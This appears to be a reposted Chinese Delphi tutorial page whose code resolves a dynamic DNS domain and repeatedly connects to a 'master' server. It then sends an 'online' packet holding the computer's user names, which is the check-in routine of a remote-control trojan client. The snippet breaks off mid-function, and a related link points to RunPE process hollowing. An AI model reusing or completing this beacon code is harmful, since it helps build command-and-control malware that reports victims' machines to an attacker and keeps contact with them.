delphi 让socket支持域名上线


本文整理自网络,侵删。

  
uses
winsock

var
IP:String;
..............//省略
const

MasterDNSE   = 'abc.3322.org'; //你的动态域名
..............//省略

function HostToIP(Name: string; var Ip: string): Boolean; //解析域名
var
   wsdata : TWSAData;
   hostName : array [0..255] of char;
   hostEnt : PHostEnt;
   addr : PChar;
begin
   WSAStartup ($0101, wsdata);
   try
gethostname (hostName, sizeof (hostName));
StrPCopy(hostName, Name);
hostEnt := gethostbyname (hostName);
if Assigned (hostEnt) then
   if Assigned (hostEnt^.h_addr_list) then begin
       addr := hostEnt^.h_addr_list^;
       if Assigned (addr) then begin
      IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
      byte (addr [1]), byte (addr [2]), byte (addr [3])]);
      Result := True;
       end
       else
      Result := False;
   end
   else
       Result := False
else begin
   Result := False;
end;
   finally
WSACleanup;
   end
end;
//然后在WINMIAN使用

procedure WinMain();
var
   dwResult: DWORD;
   StrBuffer: String;
   MinBuffer: TMinBufferHeader;
begin
   MasterSocket := TClientSocket.Create;
//   循环连接Server
   while Not (MasterSocket.Connected) do
   begin
HostToIP(MasterDNSE,IP); //把MasterDNSE解析成IP
MasterSocket.Connect(IP, MasterPort); //连接IP端口
if MasterSocket.Connected then
begin
   //   发送上线数据包
   StrBuffer := GetPcUserName(0) + '|' + GetPcUserName(1) + '|';
   if SendData(MasterSocket, Client_Online, StrBuffer) then
   begin
       //   判断是否连接超时
       if MasterSocket.Idle(3) <= 0 then
       begin
      MasterSocket.Disconnect;
      Continue;
       end;

相关阅读 >>

Delphi怎样读取excel表的所有字段名

Delphi tstopwatch 计时

Delphi urunpe

Delphi xe 移动平台 showmodal 范例

Delphi 通过pid获取进程名

Delphi获取uri的查询参数

Delphi开发获取文件md5值

Delphi 字符或符号在字符串出现的次数

Delphi 简单的英文数字字符串加密解密函数(不支持中文)

Delphi 从字符串提取字符串

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...

    暂无评论...